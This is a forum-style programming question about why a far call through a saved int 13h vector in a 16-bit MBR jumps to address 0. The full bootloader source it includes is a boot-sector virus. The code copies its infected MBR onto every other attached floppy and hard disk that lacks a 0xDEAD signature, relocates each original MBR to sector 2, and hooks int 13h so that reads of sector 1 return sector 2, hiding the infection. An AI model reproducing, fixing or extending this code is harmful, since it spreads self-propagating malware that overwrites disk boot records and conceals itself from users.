I'm writing an int 13h hook in MBR (16 bit). I save old int vector as:
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
Because I relocated code in runtime, I had to compute correct location of oldint13 variable. All fine and dandy, when I check location of relocated oldint13 variable, there's the correct address (0xf000e3f3). Now after I hook int 13h, I want to call original int 13h handler as:
call [oldint13-cpy_original+0x7e00]
but it jumps to address 0. If I do checkup with:
mov ax, [oldint13-cpy_original+0x7e00]
ax becomes 0. (oldint13-cpy_original+0x7e00) correctly resolves to correct address and this address still contains correct original int 13h vector. Even disassembled code shows:
mov ax, [0x7e48]
which is correct.
Why on earth does it return 0 though? Is there a catch with 16 bits or something?
A complete copy of my bootloader code is as follows:
[bits 16]
org 0x7c00
start:
cli ; no interrupt zone
mov BYTE [bootDrive], dl ; save boot drive, this is infected drive
mov sp, 0xFFF8 ; stack pointer
xor ax, ax
mov ds, ax
mov es, ax
; let's save infected mbr to location 0x7e00
mov al, 0x01 ; load 1 sector
mov ah, 0x02 ; read sector
mov bx, 0x7e00 ; destination address + ES
mov cx, 0x0001 ; cylinder 0, sector=1
xor dh, dh ; head 0
call wr_sector
; TODO: read from 0x7c00!!!!
; now it's time to iterate through disks
xor di, di ; our disk counter
dsk_lp:
mov dl, [disk_codes+di] ; load disk code from our table
cmp dl, [bootDrive] ; check if this is our infected drive
je nxt_disk ; this is our drive, just go to the next one
mov ah, 0x02 ; read sector
mov cx, 0x0001 ; cylinder 0, sector=1
mov bx, 0x8000 ; load original mbr to 0x8000
call wr_sector
jc nxt_disk ; if carry is set, disk doesn't exist (most likely)
add bx, sig ; check if this drive is already signed
sub bx, 0x7c00 ; calculated offset for signature
cmp word [bx], 0xDEAD ; compare with our signature 0xDEAD
je nxt_disk ; if already signed, jump to next disk
mov ah, 0x03 ; dirty business, copy our infected mbr to new drive
mov bx, 0x7e00 ; we copied infected mbr to 0x7e00 earlier
call wr_sector ; perform write
mov ah, 0x03
mov cx, 0x0002 ; write original mbr to 2nd sector
mov bx, 0x8000 ; we saved sector to 0x8000
call wr_sector ; perform write
nxt_disk:
inc di ; increment our counter
cmp di, 0x04 ; we are over the available disks
jl dsk_lp ; jump if lower than 4
; now we'll copy back original MBR and jump to it
; we have to relocate ourselves to 0x7e00, so we don't overwrite when copying
; original MBR
relocate:
mov dl, [bootDrive] ; retrieve current boot drive
mov si, cpy_original ; source address
mov di, 0x7e00 ; destination address, 0x7e00 in our case
mov cx, end_cpy ; load end of code address
sub cx, cpy_original ; subtract start of code, cx = code length
rep movsb ; copy stuff from source to dest address
jmp 0x7e00 ; jump to new address
; this code resides on 0x7e00 after copying
cpy_original: ; this code will copy original MBR to 0x7c00
mov ah, 0x02 ; read sector, ah = 0x02
mov cx, 0x0002 ; read 2nd sector
mov bx, 0x7c00 ; dest address
call wr_sector ; copy orignal MBR
; before we jump into org mbr, let's hook int 13h
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
mov ax, dsk_hook
sub ax, cpy_original
add ax, 0x7e00
mov word [0x13*4], ax
mov word [0x13*4+2], 0
;mov ah, 0x02
;mov al, 0x01
;mov cx, 0x0001
;mov bx, 0x8000
;call wr_sector
mov ax, 0xaa55
jmp 0x0:0x7c00 ; far jump to the original MBR
dsk_hook:
nop
pushf
cmp ah, 0x02
jne .end_hook
cmp cx, 0x0001
jne .end_hook
mov cx, 0x0002
.end_hook:
popf
;mov ax, [cs:oldint13-cpy_original+0x7e00]
call [cs:oldint13-cpy_original+0x7e00]
;call 0xe3fe
nop
;mov ax, ax
ret
oldint13:
dd 45 ; var for saving int13 address
; write/read sector on disk, based on
; ah = 0x02 read, ah = 0x03 write
; dl = disk number
wr_sector:
mov si, 0x03 ; max number of attempts to read from drive
.lprs:
int 0x13
jnc .endrs ; alright carry was not set, read was successful
dec si ; decrement counter
jc .endrs
pusha
xor ah, ah ; ah = 0, reset disk
int 0x13 ; reset disk, we have to try this at most 3 times
popa
jmp .lprs
.endrs:
retn
end_cpy: ; end of code for copying original MBR
times (218 - ($-$$)) nop ; Pad for disk time stamp
DiskTimeStamp times 8 db 0 ; Disk Time Stamp
bootDrive db 0 ; Our Drive Number Variable
disk_codes: ; available drives variable
db 0x0 ; first floppy disk
db 0x1 ; second floppy disk
db 0x80 ; first hard disk
db 0x81 ; second hard disk
sig dw 0xDEAD
times (0x1b4 - ($-$$)) nop ; Pad For MBR Partition Table
UID times 10 db 0 ; Unique Disk ID
PT1 times 16 db 0 ; First Partition Entry
PT2 times 16 db 0 ; Second Partition Entry
PT3 times 16 db 0 ; Third Partition Entry
PT4 times 16 db 0 ; Fourth Partition Entry
dw 0xAA55 ; Boot Signature